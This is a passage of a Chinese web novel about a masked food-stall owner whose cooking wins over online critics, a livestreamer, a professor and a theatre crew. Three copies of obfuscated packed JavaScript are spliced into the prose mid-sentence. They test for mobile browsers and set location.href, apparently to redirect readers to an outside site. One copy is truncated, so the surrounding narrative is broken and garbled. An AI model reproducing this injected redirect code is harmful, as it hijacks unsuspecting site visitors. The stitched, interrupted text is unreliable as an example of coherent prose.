但不知道从哪一条评论开始，视频底下开始出现一些火药味十足的评论。 【Emmm……演的有点假了哈。不就是一碗炒饭吗？至于这么大反应吗？】 【老板怕不是UP主的亲戚吧？接下来的流程我熟啊，是不是就要采访老板了？然后老板就摘下口罩露脸了？然后就要开始直播带货了？（翻白眼.jpg）】 【评论区里怕不是傻子吧？这么明显的双簧都看不出来？就一碗普普通通的炒饭，还整这么多花活，看来是真的没吃过好东西（无语.jpg）】 【现在探店视频都这么浮夸了吗？奥斯卡欠UP主一个小金人（偷笑.jpg）】 一时间，视频底下的评论区变得乌烟瘴气。 看到这条视频的不只是网友，还有临城大学的学生。 许茗茗知道万朴桃在做UP主，每次只要“吃葡萄不吐葡萄皮”发新的视频，她都会在第一时间给视频一键三连。她也是宿舍里最先看到这些喷子言论的。 当看到有这么多人诋毁小吃摊，甚至还上升到了造谣的程度，许茗茗哪里忍得了，立刻抄起键盘开始和这群喷子回怼。 只可惜，她只有一个人，即便喊了室友们一起，也只有4个人，而面对的却是一群喷子。 发现吵不过这么多人之后，许茗茗果断地选择了—— 摇人！ 她一键将这个视频转发到了校内论坛贴里，并且留言—— {889楼（我磕的CP天下第一甜）： 怎么会有人说小吃摊难吃啊！简直太离谱了吧！（愤怒.jpg）（发火.jpg） （视频链接）} 小吃摊的校内论坛贴已经有800多楼，已经在朝着临城大学校内论坛最高回复量发起了冲刺。 所以当看到这条回复的时候，不少吃过小吃摊的大学生们看见那些离谱的言论，都忍不住撸起了袖子。 晚上12点，对于大部分人可能有些困了，但是对于夜猫子大学生们刚刚好！ 带着无尽的力气，临城大学的大学生们带着键盘和双手冲进了视频底下的“战场”。 【你们吃过吗？没吃过就不要乱说好不好。老板做的炒饭炒面都是一绝，卤味也很好吃，UP主的反应一点都不夸张。我第一次吃的时候也是这个反应！】 【得不到就诋毁是吧？既然说难吃，你们可千万别来吃。现在每天排队的人就已经很多了，再来几个人我真的要吃不上饭了（哭泣.jpg）】 【其他的不说，UP主都已经客气了，炒饭炒面算什么，老板做的卤味才是真的一绝（大拇指.jpg）旁边连锁店的价格比老板高，但就是没有那个味道】 【还有老板做的小甜水，上周的限定是樱桃煎，我昨天问了老板，这周好像会换新的小甜水】 【卧槽？真的假的！那我今晚5点40就先冲过去排队。不然估计抢不到】 三方混战间，视频底下的评论快速增长，也让视频的播放量不断提高。 毕竟喷子骂人要从视频出发：看一遍视频。 回怼的人反驳要从视频里找证据：也看一遍视频。 在怒气的推动下，视频的播放量迅速以滚雪球的形式越吵越多，直接让视频冲上了F站当天的热门推荐上。 相比于两边义愤填膺的人，点进视频的普通网友更好奇的是—— 所以，这个小吃摊到底是好吃还是难吃？ 宿舍里，看着视频底下哪些骂她做戏的评论，万朴桃一肚子闷气。 “一群有眼无珠的家伙！都没吃过老板的炒饭，凭什么说不好吃！” 比起说她做戏，万朴桃更生气的是他们居然怀疑老板的炒饭不好吃！ 正在生气间，万朴桃眼珠子一转，想出了一个好主意。 “既然你们怀疑我的反应是假的，那不如就自己过来尝尝吧！” 说干就干，万朴桃直接用自己的UP主账号在热门视频下发布了一条置顶评论—— 【吃葡萄不吐葡萄皮（UP主）： 看了视频觉得我在夸张的，没关系，嘴尝为实。 可以在这条评论下回复，截至今晚12点，我会抽出10位可以来现场的观众，报销来回路费和小吃摊点单的开销，请各位现场来尝一尝这家小吃摊。 会面时间：明天下午6点 会面地点：临城大学小北门口 期间我会全程开直播！直播为证！】 看到“吃葡萄不吐葡萄皮”这条置顶评论后，各方反 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徐白一眼就看到了评论，漫不经心地抬手对着镜头打了个招呼：“不是托儿，没收钱，一会儿不好吃就喷死这种垃圾！” 【哈哈哈哈哈，不愧是白哥，说话就是硬气！】 【666，看到白哥出现就知道稳了】 【弹幕里说“托儿”的，别开玩笑了，白哥一场直播就赚多少钱？还不至于当托儿啊。】 【我已经开始期待白哥一会儿要怎么喷了（吃瓜.jpg）】 等排队轮到徐白的时候，他用挑剔的眼神扫视着小吃摊上的食材。 啧，还蛮干净的。 没从卫生上找到挑刺的点，徐白想了想，点了个基础款：“来一份炒粉。” 言初莘抬头，照例问了一句：“放辣吗？” 徐白自信抬头：“多放，越辣越好。” 看见徐白脸上无限自信的神色，言初莘点点头，点燃了灶台。 铁锅烧至冒青烟，划入猪油润锅，接着，言初莘直接从旁边抓起一大把小米辣放入锅中。 “呲啦——” 小米辣在锅中，被油爆香，味道瞬间就传了出来，接着又加了一点魔鬼辣，这才放入常规炒粉的材料。 随着言初莘颠锅的动作，辣椒的香气也随风扩散开，引得后面排队的人们都忍不住探头。 “什么味道？怎么这么辣？” “谁点的啊？勇士啊！老板的辣椒放一点就够劲爆了。” 等到徐白点的爆辣炒米粉出锅的时候，瞧着分量都比常规的炒饭炒粉要满上一圈，多的部分全部都是加入的辣椒。 把炒米粉递给徐白的时候，言初莘还好心问了一句：“这可能会比较辣，如果一会儿要解辣，我这里有双皮奶。或者也可以去旁边的小摊买瓶牛奶。” 徐白还在嘴硬。 “呵，不就是一份炒粉，就算加了一点辣椒又怎么样。才用不着喝奶，只有不会吃辣的小朋友才要喝牛奶解辣。” 【真“亿”点辣椒（颤抖的手.jpg）】 【这不是炒米粉，这叫炒小米辣里面加了一点米粉（狗头.jpg）】 说着，徐白就夹起一筷子米粉放入嘴中。 他淡定地咀嚼了几下。 1秒内，舌尖传来一阵刺痛，瞳孔地震。 5秒，额头青筋暴起，像被高压电击中一般。 10秒，喉咙里不自觉地发出“嗬嗬”的声音，冷汗已经从额角冒了出来，一旁的万朴桃都忍不住问道：“你没事吧？” 徐白强撑着淡定，想要开口说“没事”，一张嘴却是惊天动地的咳嗽声。 20秒，收到胃部预警的徐白终于屈服—— “来1份双皮奶……不，5份吧。” 8. 008 这一切都发生在直播间的观众面前。 虚空中，观众们仿佛听见了打脸的声音。 【上一刻：越辣越好！什么双皮奶？我才不要！那都是小朋友才需要的！ 下一刻：来5份双皮奶！（狗头.jpg）】 【笑死，第一次看见这么快打脸的！前后变化未免也太快了一点吧！】 【哈哈哈哈哈哈哈哈，刚才的自信呢？】 【忽然开始好奇爆辣是有多辣了，看着那满满当当的辣椒，感觉就已经很夸张了！（恐惧.jpg）】 直播间里观众的笑声，徐白此时根本就顾不上，他只觉得自己的脑门上都已经开始冒烟了！ 拿到5份双皮奶，徐白迫不及待就打开了。 双皮奶装在一次性的纸盒里，瓷白的奶冻格外软嫩，手稍微活动一下，双皮奶就跟着微微颤动，表面浮着两圈皱褶的“奶皮”，嫩滑如丝绸。 用勺子边缘划开奶皮的瞬间，表层奶皮轻轻地裂开，半凝固的奶浆从裂缝中微微渗出，用勺子盛起来的时候，奶皮在勺尖拉出细细的丝。 徐白直接把一大勺双皮奶放入嘴中，不用咀嚼，双皮奶就像是冰凉的云朵，在舌尖上缓缓地化开，凉意让舌头瞬间降温，将辣带来的痛感轻柔地抚摸，浓郁的奶香在口腔里散开，甚至带起了回甘。 直到吃完了1份双皮奶，徐白嘴里的辣味才稍稍褪下去。 人总是记吃不记打的。 刚才被辣得冷汗直流，如今回头再看到那一份爆辣炒米粉，徐白想起的却不是辣带来的痛觉，而是刚才品尝到的炒米粉的香气。 他注视着那一份炒米粉，忍不住悄悄地……咽了下口水。 徐白自以为自己的动作很隐秘，可是他忘记了从刚才起，就一直在直播的镜头下。 他的每一个动作，每一个小表情，都被直播间里的观众看得清清楚楚，明明白白。 【我还记得，刚才有人说“一会儿不好吃就喷死这种垃圾”把？（吃瓜.jpg）】 【所以……好吃吗？（好奇.jpg）】 【这还用问吗？看这表情就知道绝对难吃不了。如果真的难吃，恐怕刚才就已经开骂了】 其他9位来到现场的观众，品尝的时候，都忍不住发出了赞叹。 “好吃！真的好吃！这个炒饭看起来普普通通，怎么会这么好吃！” “别说了，你快尝尝这个卤鸡爪，味道简直是绝了！” “我喜欢这个双皮奶，比我之前在商场里吃的好多了。奶味特别足！也不知道老板是怎么做的。是奶用的特别好吗？” 接下来，虽然徐白持续嘴硬，不肯做评价，但是他一边冒着冷汗，一边把5份双皮奶和爆辣炒粉都吃了个干净，最后甚至打了个饱嗝儿。 等到临走的时候。还有观众重新去排队，打包了卤味和双皮奶走。 这一场直播结束，关于小吃摊到底是好吃还是难吃，似乎已经不言自明了。 虽然还有杠精在挣扎，但是看了直播里观众自然的反应后，大部分观众都已经达成了共识—— 这个小吃摊绝对是好吃的！ 只是这样一来，没吃过小吃摊的观众都不由地心痒痒。 外地的观众虽然心动，但限于时间和距离的原因，只能够望洋兴叹。 临城本地的观众却忍不住打开手机，开始查到临城大学的距离，琢磨着是不是可以找时间去一趟这个小吃摊。 *** 直播并没有给言初莘带来太多的变化。 她摆摊的时候，全程都戴着口罩，根本就没有露出过正脸。 所以虽然直播间里人数众多，最高的时候足足有10万人同时在线，但是也没有一个人认出言初莘。 而无论在直播前后，言初莘的小吃摊都一样人满为患。她更关心的，还是接下来可以在小吃摊再卖点什么。 随着5月的进行，天气也逐渐开始升温，言初莘在网上买的香料也到了，她穿上围裙，便开始着手准备做一道红油抄手。 虽然菜市场里有现成的皮子卖，但是言初莘把市场里所有卖皮子的摊位都转了一圈，还是没有看到自己满意的脾气，便干脆买了高筋面粉，准备回来自己擀皮。 高筋面粉放进盆中，放入鸡蛋清，加几滴碱水，一只手五指张开，从内往外慢慢地搅拌着，另一只手拿着碗，分批逐步往里面淋入凉水。 随着搅拌的动作，面粉逐渐从开始的散乱，揉成了光滑的面团。 空置着醒面团的时候，言初莘同步开始准备馅料。 红油抄手的馅料，有经典的，但是也有创新的。言初莘今天买到了上好的猪前腿肉，便准备先做个经典的馅料。 她今天买到的这份猪前腿肉，三分肥七分瘦，油脂和瘦肉的分布格外标准。 快刀把前腿肉剁成茸，再放入灵魂的花椒水，顺时针搅拌上劲，再加姜汁、蛋清、盐，掺一勺辣椒面，反反复复摔打二十多下，这猪肉的馅儿泛着一层润光，黏而不柴，香而不燥，正是川蜀地道的风味。 这时候，面团也醒得差不多了。 醒好的面团用均匀的力道擀开，直到薄能透光的厚度，再用刀，切作方片。这样做出的票皮子，虽然薄到可以透光，但是又充满了韧劲，用指头也戳不破。 包抄手这件事，是手上熟练的工夫，和庖丁解牛是一个道理。往摊平的皮子上放上馅儿，折起对角，交叠两角，一个圆滚滚的元宝形抄手就落在了案板上。 言初莘包了不知道多少次，在御膳房里，虽然给上面送的餐食总要精致、要摆盘、要有特色。可是平日里关上御膳房的门，他们自个儿爱吃的，还就是家常市井的这一口滋味。 包抄手的时候，言初莘有那么几个呼吸，恍惚间又回到了曾经，让她的心无比平静。 说到“红油抄手”，最重头戏的自然是红油。 言初莘做红油要用的辣椒面，得是地道的川蜀辣椒，二荆条配子弹头，今天包裹刚到，她迫不及待地就把他们舂成了辣椒面。 菜籽油烧至青烟直窜，有八成热的时候，把八角、山奈、草果……这些香料扔进去炸香，再分三次泼香辣椒油。 第一道激香，第二道上色，第三道定味。 热油泼下去，“嗤啦”一声，辣香冲鼻，最后点几滴白酒，撒把芝麻，红油便成了。 在阳光下，红油透着金红的光泽。 言初莘刚泼完红油，门口传来敲门的声音，她打开门，就看见夏璐站在门口，双手还提着大大的袋子。 “我妈寄来了新鲜的菠萝，是老家自己种的。整整一大箱，我一个人也吃不完，给你送点过来。” 自从上一次在楼梯上，意外被言初莘救了，还吃了一顿鲜虾云吞面后，言初莘逐渐和夏璐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543435|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟稔起来。 之前两人虽然就住在对门，但是工作时间完全不一样，也基本碰不上面。甚至都已经在这里住了好几个月，连对面的人是男是女都还不清楚。 但现在，夏璐拎着袋子，都没有在门口等，而是熟悉地穿上了自己放在言初莘家里的拖鞋，用力闻着空气中的香气往里走：“好香啊，你又做了什么新的好吃的？” “红油抄手。” 言初莘顺手接过夏璐手里的袋子：“你来了正好，帮我尝尝味道怎么样。” 元宝一般圆滚滚的抄手落在白瓷碗里，被红油浸透，即便还没有吃到嘴里，那股子鲜香麻辣的味道已经直冲天灵盖。 “好辣！好麻！好吃！” 夏璐一连用了三个“好”来形容这一碗红油抄手，甚至直接下了结论：“这个红油抄手绝对会成为小吃摊的新爆款！” 言初莘轻笑：“那就承你吉言了。” *** 当天晚上，兴冲冲来到小吃摊的食客们，就发现小吃摊的菜单上多了一个选项—— 红油抄手：小份6只/9元；中份10只/12元；大份15只/16元 “哎，有新品！” 看到新的菜单后，食客们的反应各不相同。 有对红油抄手完全不感兴趣的，还是点了炒饭炒粉；但还有不少食客，或是出于好奇，点了一份红油抄手。 蒋林就选择了红油抄手。 他并不是临城大学的学生，而是外卖员。他平时工作的站点靠近临城大学不远，每次送外卖路过的时候，都能够看见这边的队伍在排队，香气让他馋虫都犯了。 今天他路过的时候，正巧还没有单子，而小吃摊还真就没怎么排队。 机会难得，他还没吃晚饭，就干脆停下来点了一份大份的红油抄手。 拿到这一碗红油抄手的时候，蒋林闻了闻味道，眼里流露出惊喜的神色。 他作为川蜀人，本身口味就喜好麻辣，偏偏临城这边口味清淡，他已经遇到过好多次，点了青椒炒肉结果发现里面放的是菜椒的大无语情况。导致他每次吃一家新的店，都对店长说的“辣”没有什么期待。 可这一碗红油抄手，只是闻味道，辣中带麻、麻里透鲜的红油香气，直将人馋的劲儿勾了起来。 时间紧迫，蒋林还着急地吃完饭去接单，便直接夹起一个抄手放入嘴中。 嫩滑的皮子一咬即破，肉馅的汁水浓郁到在嘴里迸开，红油的辣也随着皮渗透进肉馅里，渐渐地爬上舌尖，花椒的麻也同时从舌根开始反扑。 一口，鲜、香、麻、辣，四味俱全。 一瞬间，蒋林的脑海里只冒出一个词—— 地道。 他不再犹豫，迫不及待地往嘴里塞剩下的红油抄手，才不过10分钟的时间，他就已经把大份的红油抄手光速吃完。 眼看着他放下碗，正在排队的食客有超级社牛的，直接探头过来问他：“怎么样？红油抄手好吃吗？” 蒋林的回复掷地有声：“好吃！” 擦了擦嘴巴，蒋林继续去送外卖了。 只是迎着风，闻着身上依稀留下的红油香气，他还是忍不住舔了舔舌头，忍不住想。 要是明天还能吃到这一碗红油抄手就好了…… 在这座陌生的城市，在繁忙奔波的生活里，蒋林第一次对明天有了期待。 9. 009 又结束了1天的摆摊生活。 当言初莘说出“卖完了，收摊”的时候，还排着长长的队伍，忍不住发出了哀嚎。 “不要啊！这才不到9点钟，怎么就收摊了呢？” “老板，下次能不能多备一点货！这么多人根本不够吃！如果你不答应……那我求求你好不好？” 听着哀嚎的声音，言初莘也有些无奈：“我每天备的货都比前一天多，但是……” 根本不够卖啊！ “老板你多备一点呗，我们这么多人，肯定能吃完的！” 听到这句话，所有还在排队的人都在疯狂点头，对着言初莘露出了可怜兮兮的表情。 言初莘十动然拒。 “不好意思，我是8小时工作制的信徒。” “8小时？可是老板你每天出摊才3个小时不到啊？”人群中立刻有人提出质疑。 言初莘淡定解释：“5个小时备货，3个小时出摊，一共8小时。” 来到这个新世界，言初莘还有那么多想要尝试的事情。 经过一次生死，她也看开了很多。 平静的生活，就是她现在最想要的。 眼看着还没有散去的人群，言初莘勾起嘴角，说出了魔鬼的话语：“其实我最近在思考，虽然是摆摊，但我是不是也需要双休啊？” 闻言，人群中倒抽了一口冷气。 “请千万不要继续思考了！现在就已经挺好的了！” 什么双休！ 这种脏东西，麻烦远离小吃摊好不好！ 这么好吃的小吃摊，难道就不能够365天，24小时全天候供应吗？ 支持老板进化成超级炒饭人！ *** 眼看着小推车离着他们远去，还有大学生在原地没有离开。 井晴就是其中之一。 今天一结束实验，她就冲了过来，到的时候刚刚好8点半。她本来想着怎么着今天都能吃上了，没想到居然还是没赶上！ 她的炒饭，她的卤味，她的红油抄手，她的双皮奶…… 都没有了。 带着饥肠辘辘的胃回到宿舍，一开门，都不用问，室友看见她的表情就已经有了答案：“又没有抢到？” 井晴无精打采地点点头，捏紧拳头：“明天！明天我一定能抢到！” “昨天，前天，大前天，你都是这么说的。”室友望着井晴的眼神里充满了同情，“你的灭霸导师能放你出来吃饭吗？” “事在人为，我一定会想到办法的。”井晴目光坚定，掷地有声，“大不了，我就……求求他！” 用最强势的语气说出最弱的话。 闻言，室友一抱拳：“女侠，祝你好运。” *** 第二天，5点50分的时候，井晴已经蓄势待发。 她朝着四周观望了一圈。 导师，不在。 简直完美！ 她抬头看向左前方，师姐对她比了个“OK”的手势。 又转头看向右侧自己的同期，对方朝着她竖起了两根手指，还比了个嘴型——“两份炒饭”。 井晴努力压抑住嘴角的笑意，假装要去洗手间，朝着门口的方向走去。 刚走出门口，井晴就看到了旁边和她同一个方向的人。 她的内心立刻警铃大作。 小吃摊如今是临城大学内部的最大热点，一举一动都能够引起无数人的关注。 虽然炒饭和红油抄手，老板一般都备了很多料，而且一个人一般就点一份，最多给朋友带几份。可是老板摊上的甜品饮料，每天的量都格外稀缺。 在校内论坛的“炒饭贴”上，每天都有人在上面留言，小吃摊的甜品饮料几点就售罄了。 一般在小吃摊开始营业后的10分钟左右，甜品饮料就会全部卖空。 以至于想要吃到甜品饮料的人，不仅会早早地出发，还会进行掩饰，避免惊动其他要去抢甜品饮料的人。 就好像现在走在她左边的这一群男生，看起来是刚打完篮球，准备回宿舍去洗澡。 可是井晴认识最前面的那个男生，和她一样是研究生，研究生的宿舍在南门外的校区里，可他现在走的方向，分明是北门！ 井晴的目光瞬间锐利起来。 真相只有一个！ 就在这时候，井晴和拿着篮球的男生对上了视线。 电光火石间，篮球男生已经意识到不对，立刻大喊一声：“快跑！” 下一瞬，以篮球男生为首的一群人，就开始疯狂地朝着北门的方向跑去。 “该死！” 井晴立刻意识到她打草惊蛇了，瞬间也开始狂奔起来。 从大二之后，她就没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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热气缭绕的小吃摊前，井晴和自己白发苍苍的导师面面相觑。 这世界上，恐怕不会有比这更尴尬的事情了吧…… 10. 010 井晴的内心已经变成了爱德华·蒙克的《呐喊》，脚趾在地下快要抠出一座豪华城堡。 就在她想要找个地缝钻下去的时候，言初莘的声音传来，将她从尴尬的境地暂时解救出来：“要放辣吗？” 听见这句话，井晴立刻转头看向言初莘，忙不迭地点头：“要要要！一份炒饭要微辣，另一份炒饭中辣。红油抄手是两个大份，都要多放辣。” 言初莘点点头，表示收到，又转头看向井晴后面：“你还是和之前的一样，一份中份的红油抄手，红油抄手多放点红油吗？” 杨教授矜持地点点头：“再来一份双皮奶。” 杨教授的反应让井晴差点惊掉下巴——这还是她认识的杨教授吗？那个在学术会议上挥斥方遒的大佬，那个提名过诺奖的学术大牛？ 留意到井晴的眼神，杨教授似乎意识到自己还在学生面前，轻咳一声恢复了威严：“哪怕是做科研，也需要有足够的食物摄入。” 言初莘的目光在井晴和杨教授中间转了一圈：“你们认识？” 井晴看了一眼杨教授，怯怯的，像只鹌鹑。 还是杨教授开口介绍道：“她是我的学生。” 言初莘看向井晴：“你就是杨教授口中最得意的心血吗？” “最得意的……心血？” “没错啊。”言初莘淡定地开口，却没留意到自己的话给井晴带来了多大的冲击，“你的老师过来的时候，经常夸自己实验室的学生，说这群小孩子又懂事又上进，之后一定会在各自的领域干出一番成就的。他应该很喜欢你们这些学生。” 井晴瞪大了眼睛，下意识转头看向杨教授，却发现杨教授的耳朵不知不觉已经变得通红，和红油抄手里的红油一样的颜色。 “抄手好了，你们可以先吃。炒饭和另一份抄手一会儿给你打包是吗？” “啊，没错。”井晴愣愣地从言初莘手里接过两份抄手，“不是有一份打包的吗？” “哦，另一份是你导师的，你们先去那边吃。” 井晴只能够硬着头皮，端着两碗红艳艳的抄手，坐在了简陋的折叠桌前。 她低下头，目不转睛地望着清亮的红油，似乎要将这一碗红油抄手盯出花儿来。 可是她的目光还是忍不住看向面前的杨教授。 在10分钟前，恐怕打死她也想不到，有一天她居然会和导师一起，坐在小吃摊外面，吃红油抄手。 红油抄手表面光亮，清亮的红油几乎可以倒映出人影，上面漂着翠绿的葱花，热气携裹着麻辣鲜香，直往人鼻子里钻。 杨教授的动作突然变得虔诚起来。 他小心地挑起一个抄手，抄手已经彻底被红油浸透，那薄如蝉翼的面皮包裹着粉嫩的肉馅，在筷子上颤巍巍地晃动着。 “哧溜——”杨教授吸了一口抄手。 井晴注意到，在吃到红油抄手的瞬间，杨教授的嘴角微微上扬。 “就是这个味道……”杨教授的语气里充满了怀念，“用二荆条和子弹头配成的辣椒油，和我老家巷口那家简直一模一样。” 井晴忽然想起，杨教授就是川蜀人，这对他来说，是家乡的味道。 面对导师的尴尬和恐惧，在鲜香麻辣的香气冲击下，已经所剩无几，井晴迫不及待地拿起筷子，赶紧尝了一个期待已久的红油抄手。 抄手入口的瞬间，她的味蕾仿佛被一支麻辣交响乐团轰炸了——先是辣椒的炽烈，接着是花椒的麻爽，最后是肉馅的鲜嫩多汁。 一瞬间，井晴就明白了为什么小吃摊能成为校内论坛的热点话题。 好吃！才是小吃摊的第一生产力！ 吃完红油抄手后，杨教授却没有立刻离开，而是追加了一份订单：“打包4份红油抄手，3份炒饭。” 一转头，对上井晴惊讶的眼睛，杨教授少见地解释了一句：“你只带了1份红油抄手，2份炒饭回去。但实验室还有其他人没有吃饭吧？” 井晴张大了嘴巴：“所以这些是给实验室其他人带的吗？” 杨教授哼了一声，却没有直接回答。 只是他的反应，显然已经默认了这件事。 平时他们习惯喊杨教授灭霸，是因为他很严肃，很认真，但是所有选择申请杨教授导师的学生，对杨教授都是敬仰的心态。只是因为这种仰望的心态，他们也不敢靠近杨教授。 现在，井晴仿佛看见了这位灭霸导师的另一面。 下一刻，她突然想起什么，小声问：“教授，您不追究我溜出实验室的事了？” 杨教授擦了擦嘴角的红油，镜片后的眼睛闪过一丝狡黠：“每周帮我带3次红油抄手，要特辣的。” 井晴假装严肃地板正了脸庞，比了个行礼的手势：“收到！” 两只手提着满满的炒饭和红油抄手，还有双皮奶，推开实验室门的瞬间，井晴把炒饭和抄手放在桌上时，整个实验室爆发出一阵欢呼。 “天哪！我都快要饿死了！” “井晴！不！你今天简直就是井菩萨！” “小井晴，你真的破费了，怎么带了这么多？” “不是我，是……”井晴下意识转过头，却发现杨教授并没有跟着走进实验室，“是教授请的客。” 杨教授背着手站在窗边，看着学生们狼吞虎咽的样子，嘴角微微上扬。阳光透过窗户，红艳艳的油光映得整个实验室都温暖了起来。 他没有说话，只是在窗边看了一会儿，就默默地离开了。 “我之后应该傍晚都可以提早出去买炒饭和红油抄手了。”井晴神色有些恍惚，还没有从刚才的冲击中回过神来。 闻言，师姐嘴里的红油抄手还没有咽下，就带着满嘴的食物开口：“怎么？你不怕灭霸了？” “这件事说来话长。”井晴精准概括，“我用红油抄手贿赂了灭霸。” “哦，不对。”井晴忍不住笑了笑，“应该说杨教授。” 师姐：……？ *** 言初莘来到新世界后，发现这个世界不仅网购很方便，还有各种各样的美食。 她最近刚刚沉迷上吃播，前一天晚上看吃播博主吃卤肉饭，把她的馋虫勾出来了。 关了手机后，在黑暗中，言初莘的脑海中还是卤肉饭的形状。 不如…… 自己做一次卤肉饭吧！ 说干就干。 第二天，菜场刚开门，言初莘就去了。挑了一块上好的五花肉，肥瘦相间，像大理石纹路似的。又买了八角、桂皮、香叶，老板送了两颗草果，说是提香用。路过干货摊，顺手捎了袋干香菇。 回家后，言初莘先把肉切成麻将块大小，冷水下锅焯去血沫。这边把香菇泡上，另一边则着手开始炒糖色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543437|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 冰糖在热油里慢慢融化，渐渐变成琥珀色，这时候把肉块倒进去翻炒，肉块便裹上一层晶莹的糖色。肉块在锅里滋滋作响，瞬间爆发出浓烈的香气。 “莘莘，做什么呢这么香？”隔壁的夏璐扒在阳台栏杆上问。 “卤肉饭，微辣。”言初莘擦了擦汗，“要不给你带一份？下午你不是要去排练？” “那敢情好！”夏璐眼睛一亮，“我们排到晚上呢，剧场盒饭难吃死了。” 言初莘往锅里倒了老抽、生抽，又加了点料酒。泡发的香菇切成丁，和香料一起下锅。最后添水没过肉块，再扔进去几个去籽的干辣椒。小火慢炖的工夫，她淘米煮饭，还顺手腌了一小碟脆黄瓜。 午后，卤肉已经酥烂。言初莘掀开锅盖，浓郁的香气扑面而来。那肉块颤巍巍的，肥瘦相间的三层五花肉被包裹在浓郁的卤汁中，呈现出诱人的酱红色，用筷子轻轻一戳还能微微回弹。 她盛了满满一饭盒，米饭垫底，浇上卤肉和汁，边上码着黄瓜条，还特意多放了个卤蛋。 夏璐接过饭盒时直咽口水：“我今天一定会是剧场里最幸福的小女孩！” 言初莘忍不住“噗嗤”一声笑了出来：“有这么夸张吗？” 夏璐用力地点点头，表示自己说的全部都是发自肺腑的真心话。 *** 剧场里，排练正到紧要处。 导演是个留山羊胡的年轻人，要求极严，一个场景反复排了七八遍。 不知不觉间，已经过了饭点，所有人早就饥肠辘辘，还有人的肚子发出了“咕噜咕噜”的叫声。 “饭来了！”当场务拎着盒饭进来时，众人一拥而上，但是在看到了具体的盒饭后，不少人立刻就垮了脸。 “今天又是那家？”有人忍不住发出哀叹，“每天都是一样的菜！再这样下去，我恐怕能瘦30斤！” 夏璐躲在角落，悄悄打开言初莘给的饭盒。热气腾起的瞬间，卤肉的香味像长了腿似的，一下子窜遍了整个排练厅。 “什么味道？“导演的鼻子抽动着，像嗅到猎物的狐狸。 所有人的目光都转向夏璐。她手里的饭盒里，米饭油光发亮，卤肉酱红诱人，卤蛋对半切开，蛋黄呈现出琥珀色。最要命的是那香气，混合着肉香、酱香和若有若无的香料味，在空气里打着转儿。 和夏璐一起排练的演员第一个凑过来：“夏璐，你这哪买的？“ “邻居做的。”夏璐有些不好意思，“就带了一份……” 导演已经放下剧本走了过来，眼睛直勾勾盯着饭盒：“这卤肉……色泽很正啊。” 场务拎着盒饭站在一旁，无人问津。众人围着夏璐，像参观什么珍稀展品。 摄影师甚至掏出手机拍照：“这构图，绝了！发朋友圈肯定爆。” 夏璐夹起一块肉，那肉在筷子上颤巍巍的，瘦肉部分纹理分明，肥肉部分晶莹剔透。 她刚要吃，发现周围十几双眼睛直勾勾盯着他，顿时咽了口唾沫。 “要不……大家分着尝尝？”她试探着问。 话音刚落，望着眼前众人忽然放光的双眼，夏璐后知后觉，自己可能做了个错误的决定。 下一刻，不知道从哪里伸出来七八双筷子，落在了夏璐的饭盒里。 “啊啊啊啊啊啊——”夏璐发出哀嚎，“你们倒是给我留点啊！” 11. 011 导演王利眼疾手快，筷子“嗖”地一下就插进了饭盒最中间，带走了一块五花肉。 那块五花肉的大小快和麻将牌差不多了，三层肥瘦分明，在筷子尖上颤颤巍巍地晃悠，像是果冻似的微微打颤，表面挂着亮晶晶的卤汁。 “卧槽！”卤肉刚一入口，王导就已经大了眼睛，腮帮子鼓得老高，下意识爆出了一句粗口，“这口肉……也太香了！” 王导一边说着，一边忍不住手舞足蹈，试图用绚丽的手部动作向所有人传达，这块卤肉到底有多好吃。 “瘦肉越嚼越香，肥肉跟奶油一样，一点都不腻歪，直接在嘴里就化开了……” 几乎同时，其他抢到卤肉的人也纷纷发出赞叹，竖起了大拇指。 “哦买噶！这好吃的！我天灵盖快要飞了！” “如果能够让我天天吃到这样的盒饭，那剧场就是我家！” 摄影师小李来的晚了些，没抢到卤肉，但还是夹到了板块卤蛋。蛋黄还微微带着流心。他一口咬下，金黄的蛋汁渗透进齿缝，蛋白被卤汁完全浸透，又热又好吃，让他下意识倒吸了一口冷气：“这卤蛋绝了啊！蛋白都已经完全浸透味道了！” 反应快的人已经在享受美食，反应慢的人却还在外围团团打转。 “你们这帮饿死鬼，给我留一口啊！”灯光师小赵来晚了，饭盒里的卤肉和卤蛋几乎都被抢光了，他也不好意思上手和盒饭主人夏璐抢米饭，露出苦哈哈的表情。 道具师小张忍无可忍，小发怒气：“你们够了啊！所以……形容具体一点啊，到底是什么味道啊？” 王导舔了舔嘴唇，那一口卤肉已经完全被他咽下，但他还在回味卤肉的味道：“怎么说呢……这碗卤肉饭就像是那种经典老电影，第一口惊艳，第二口回味，最后越吃越上瘾，会让人一直念念不忘。” 摄影师小李忽然想起，打开手机，对准被洗劫一空的饭盒拍了一张：“差点忘记了，我一定要发一条博文。” 见到小李的动作，周围其他人，包括王导都纷纷拿起了手机。 当天晚上，整个剧组工作人员的朋友圈都被卤肉饭刷屏了。 有直抒胸臆的—— 小李：人生第一次为了一盒饭想要哭 有文艺范儿的—— 